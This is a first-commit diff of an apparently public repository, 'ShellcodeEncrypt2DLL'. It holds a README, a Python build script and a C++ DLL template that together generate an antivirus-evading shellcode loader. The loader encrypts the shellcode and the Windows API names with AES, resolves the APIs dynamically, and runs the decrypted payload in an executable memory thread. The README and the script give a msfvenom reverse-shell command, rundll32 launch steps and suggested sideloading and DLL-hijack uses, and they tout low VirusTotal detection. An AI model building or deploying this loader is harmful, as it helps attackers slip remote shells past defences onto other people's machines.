first commit

This commit is contained in:
restkhz
2025-03-13 16:23:51 +01:00
commit 2e912ce1cb
3 changed files with 409 additions and 0 deletions
+63
View File
@@ -0,0 +1,63 @@
# ShellcodeEncrypt2DLL
A script to generate AV evaded(static) DLL shellcode loader with AES encryption.
Shellcode and API names encryption + Dynamic API loading
Two modes:
- non-standalone: To make an encrypted DLL **WITHOUT** KEY stored in the DLL.You can use it for sideload/rundll32 but you need to pass the key. (So even if the sample is captured, the shellcode will be still difficult to recover)
- standalone: To make an encrypted DLL **WITH** KEY stored in the DLL. You can use it for sideload/hijack or in a printnightmare-like scenario.
VT: 2/72 (13/3/2025)
![ShellcodeEncrypt2Dll_vs_VT](https://raw.githubusercontent.com/restkhz/blogImages/main/img/屏幕截图_20250313_050702.png)
![](https://raw.githubusercontent.com/restkhz/blogImages/main/img/屏幕截图_20250313_060155.png)
## Usage
You can use this on **Kali** or other linux distributions
Dependencies:
```
pip install pycryptodome
sudo apt install mingw-w64
```
Example:
```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 x64/xor_dynamic -f raw > shellcode.raw
python ShellcodeEncrypt2Dll.py --non-standalone shellcode.raw
or
python ShellcodeEncrypt2Dll.py --standalone shellcode.raw
```
Then you will get a `shell.dll`
For non-standalone:
```
rundll32 <path_to_dll>,EntryPoint <Your KEY>
```
You can make you own exe to load this DLL with KEY as well.
For standalone:
```
rundll32 <path_to_dll>,EntryPoint
```
As you see, standalone and non-standalone both have `EntryPoint` as export function.
Your can edit your key in the python script.
## How does it work?
This script will generate a header file for template.cpp, then try to compile with `x86_64-w64-mingw32-g++`.
The `shellcode` and `function names` like `VirtuallAlloc`, `CreateThread` etc will be encrypted(AES-CBC) with key.
The standalone mode will store the key in the DLL. Decrypt itself when running.
The non-standalone mode needs your key as a parameter to decrypt itself when running.
+130
View File
@@ -0,0 +1,130 @@
import sys
import os
from Crypto.Cipher import AES
from os import urandom
import hashlib
import argparse
import subprocess
# PUT YOUR KEY HERE!!!
KEY = "blog.restkhz.com"
KEY = KEY.encode()
strVirtualAlloc = "VirtualAlloc\0"
strRtlMoveMemory = "RtlMoveMemory\0"
strCreateThread = "CreateThread\0"
strVirtualProtect = "VirtualProtect\0"
JPG_HEAD = b''.fromhex('ffd8ff')
JPG_TAIL = b''.fromhex('ffd9') # 00 not in the jpg magic number but just in case
funcList = [strVirtualAlloc, strRtlMoveMemory, strCreateThread, strVirtualProtect]
def pad(s):
block_size = AES.block_size
padding = block_size - len(s) % block_size
return s + bytes([padding] * padding)
def aesenc(plaintext, key):
k = hashlib.sha256(key).digest()
IV = urandom(16)
plaintext = pad(plaintext)
cipher = AES.new(k, AES.MODE_CBC, IV)
return IV + cipher.encrypt(plaintext)
def makeHeaderFile(payload):
encKey = f'#define KEY { ', '.join('0x{:02x}'.format(b) for b in bytearray(KEY))}\n'
# payload
encPayload = f'#define PAYLOAD {', '.join('0x{:02x}'.format(b) for b in JPG_HEAD + aesenc(payload, KEY) + JPG_TAIL)}\n'
print(encKey, end='')
print(encPayload, end='')
# funcName
print("\nEncrypting functions:\n")
encFuncList = []
for f in funcList:
encFunc = f'#define {f.upper().rstrip('\0')} {', '.join(('0x{:02x}'.format(b) for b in JPG_HEAD + aesenc(f.encode(), KEY) + JPG_TAIL))}\n'
print(encFunc, end='')
encFuncList.append(encFunc)
# payload and funcname offset
offsetHead = f'#define OFFSET_HEAD {str(len(JPG_HEAD))}\n'
offsetTail = f'#define OFFSET_TAIL {str(len(JPG_TAIL))}\n'
f = open("shellcode.h","w")
f.write(encKey+encPayload + offsetHead + offsetTail +''.join(encFuncList))
f.close()
# x86_64-w64-mingw32-gcc template.cpp --shared -o test_ns.dll -lcrypt32 -O2 -fvisibility=hidden -Wl,--dynamicbase -Wl,--nxcompat -DNDEBUG -s
def main():
parser = argparse.ArgumentParser(
description="""To generate static AV evaded DLL shellcode loader with AES encrypt.
Example:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 x64/xor_dynamic -f raw > shellcode.raw
python ShellcodeEncrypt2Dll.py --non-standalone shellcode.raw
or
python ShellcodeEncrypt2Dll.py --standalone shellcode.raw
""",
formatter_class=argparse.RawDescriptionHelpFormatter
)
mode_group = parser.add_mutually_exclusive_group(required=True)
mode_group.add_argument(
'--standalone',
action='store_true',
help='To make an encrypted DLL WITH KEY stored in the DLL. You can use it for sideload/hijack or in a printnightmare-like scenario.'
)
mode_group.add_argument(
'--non-standalone',
action='store_true',
help='To make an encrypted DLL WITHOUT KEY stored in the DLL. You can use it for sideload/rundll32 but you need to pass the key.'
)
parser.add_argument(
'path',
type=str,
help='Path to shellcode file.'
)
args = parser.parse_args()
f= open(args.path, 'rb')
payload = f.read()
makeHeaderFile(payload)
if args.standalone:
print("STANDALONE mode")
command = ['x86_64-w64-mingw32-g++', 'template.cpp', '--shared', '-O2', '-fvisibility=hidden', '-DSTANDALONE', '-Wl,--dynamicbase', '-Wl,--nxcompat', '-DNDEBUG', '-s', '-o', 'shell.dll']
print("You can use it for sideload/hijack or in a printnightmare-like scenario.")
print("Or just simply: rundll32 <path_to_dll>,EntryPoint")
elif args.non_standalone:
print("NON-STANDALONE mode:")
command = ['x86_64-w64-mingw32-g++', 'template.cpp', '--shared', '-O2', '-fvisibility=hidden', '-Wl,--dynamicbase', '-Wl,--nxcompat', '-DNDEBUG', '-s', '-o', 'shell.dll']
print(f"Try to run on target: rundll32 <path_to_dll>,EntryPoint {KEY.decode()}")
try:
print("[+] Compiling")
result = subprocess.run(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
if result.returncode != 0:
print("[-] Compile Failure:")
print(result.stderr)
else:
print("[+] Done: shell.dll")
print(result.stdout)
except FileNotFoundError:
print("[-] x86_64-w64-mingw32-gcc didn't work out properly or wasn't found.\nTry: \"sudo apt install mingw-w64\"")
sys.exit(1)
if __name__ == '__main__':
main()
+216
View File
@@ -0,0 +1,216 @@
#include <windows.h>
#include <stdio.h>
#include <wincrypt.h>
#include <stdlib.h>
#include "shellcode.h"
#pragma comment(lib, "crypt32.lib")
#pragma comment(lib, "user32.lib")
typedef LPVOID (WINAPI *pVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
typedef VOID (WINAPI *pRtlMoveMemory)(PVOID, const VOID*, SIZE_T);
typedef HANDLE (WINAPI *pCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
typedef BOOL (WINAPI *pVirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD);
pVirtualAlloc dynVirtualAlloc = NULL;
pRtlMoveMemory dynMoveMemory = NULL;
pCreateThread dynCreateThread = NULL;
pVirtualProtect dynVirtualProtect = NULL;
#ifdef STANDALONE
#define USE_HEADER_KEY
#endif
void DecryptAES(char* shellcode, DWORD shellcodeLen, char* key, DWORD keyLen) {
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;
// extract IV
BYTE iv[16];
char *originalShellcode = shellcode;
shellcode += OFFSET_HEAD;
memcpy(iv, shellcode, 16);
char *cipherText = shellcode + 16;
DWORD cipherTextLen = shellcodeLen - 16 - OFFSET_HEAD - OFFSET_TAIL;
if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
return;
}
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {
CryptReleaseContext(hProv, 0);
return;
}
if (!CryptHashData(hHash, (BYTE*)key, keyLen, 0)) {
CryptDestroyHash(hHash);
CryptReleaseContext(hProv, 0);
return;
}
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) {
CryptDestroyHash(hHash);
CryptReleaseContext(hProv, 0);
return;
}
// IV
if (!CryptSetKeyParam(hKey, KP_IV, iv, 0)) {
CryptDestroyKey(hKey);
CryptDestroyHash(hHash);
CryptReleaseContext(hProv, 0);
return;
}
// Decrypt
if (!CryptDecrypt(hKey, 0, TRUE, 0, (BYTE*)cipherText, &cipherTextLen)) {
CryptDestroyKey(hKey);
CryptDestroyHash(hHash);
CryptReleaseContext(hProv, 0);
return;
}
memmove(originalShellcode, cipherText, cipherTextLen);
if(cipherTextLen < shellcodeLen)
originalShellcode[cipherTextLen] = '\0';
CryptDestroyKey(hKey);
CryptDestroyHash(hHash);
CryptReleaseContext(hProv, 0);
}
BOOL InitDynamicFunctions(char* key, DWORD keyLen) {
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
unsigned char VA[] = {VIRTUALALLOC};
unsigned char RMM[] = {RTLMOVEMEMORY};
unsigned char CT[] = {CREATETHREAD};
unsigned char VP[] = {VIRTUALPROTECT};
DecryptAES((char*)VA, sizeof(VA), key, keyLen);
DecryptAES((char*)RMM, sizeof(RMM), key, keyLen);
DecryptAES((char*)CT, sizeof(CT), key, keyLen);
DecryptAES((char*)VP, sizeof(VP), key, keyLen);
/*
MessageBoxA(NULL, (char*)VA, "Decrypted VA", MB_OK);
MessageBoxA(NULL, (char*)RMM, "Decrypted RMM", MB_OK);
MessageBoxA(NULL, (char*)CT, "Decrypted CT", MB_OK);
MessageBoxA(NULL, (char*)VP, "Decrypted VP", MB_OK);
*/
dynVirtualAlloc = (pVirtualAlloc)GetProcAddress(hKernel32, (char*)VA);
dynMoveMemory = (pRtlMoveMemory)GetProcAddress(hKernel32, (char*)RMM);
dynCreateThread = (pCreateThread)GetProcAddress(hKernel32, (char*)CT);
dynVirtualProtect = (pVirtualProtect)GetProcAddress(hKernel32, (char*)VP);
if (!dynVirtualAlloc || !dynMoveMemory || !dynCreateThread || !dynVirtualProtect) {
MessageBoxA(NULL, "Dyn init failed", "Error", MB_OK | MB_ICONERROR);
return FALSE;
}
return TRUE;
}
#ifdef USE_HEADER_KEY
void CALLBACK run(void) {
unsigned char key[] = { KEY };
DWORD keyLen = sizeof(key);
unsigned char payload[] = { PAYLOAD };
DWORD payloadLen = sizeof(payload);
if (!InitDynamicFunctions((char*)key, keyLen)) {
return;
}
LPVOID allocMem = dynVirtualAlloc(NULL, payloadLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!allocMem) {
return;
}
DecryptAES((char*)payload, payloadLen, (char*)key, keyLen);
dynMoveMemory(allocMem, payload, payloadLen);
DWORD oldProtect;
if (!dynVirtualProtect(allocMem, payloadLen, PAGE_EXECUTE_READ, &oldProtect)) {
return;
}
HANDLE tHandle = dynCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)allocMem, NULL, 0, NULL);
if (!tHandle) {
return;
}
WaitForSingleObject(tHandle, INFINITE);
((void(*)())allocMem)();
}
#else
void CALLBACK run(char* key, DWORD keyLen) {
unsigned char payload[] = { PAYLOAD };
DWORD payloadLen = sizeof(payload);
if (!InitDynamicFunctions((char*)key, keyLen)) {
free(key);
return;
}
LPVOID allocMem = dynVirtualAlloc(NULL, payloadLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!allocMem) {
free(key);
return;
}
DecryptAES((char*)payload, payloadLen, (char*)key, keyLen);
dynMoveMemory(allocMem, payload, payloadLen);
DWORD oldProtect;
if (!dynVirtualProtect(allocMem, payloadLen, PAGE_EXECUTE_READ, &oldProtect)) {
free(key);
return;
}
HANDLE tHandle = dynCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)allocMem, NULL, 0, NULL);
if (!tHandle) {
free(key);
return;
}
WaitForSingleObject(tHandle, INFINITE);
((void(*)())allocMem)();
free(key);
}
#endif
// Entry for rundll32
extern "C" __declspec(dllexport)
void CALLBACK EntryPoint(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) {
#ifdef USE_HEADER_KEY
// Mode1: standalone. KEY was coded into dll.
run();
#else
// Mode2: key was NOT coded into dll.
run(lpszCmdLine, lstrlenA(lpszCmdLine));
#endif
}
#ifdef USE_HEADER_KEY
DWORD WINAPI ThreadProc(LPVOID lpParam) {
run();
return 0;
}
#endif
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
#ifdef USE_HEADER_KEY
CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL);
break;
#endif
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}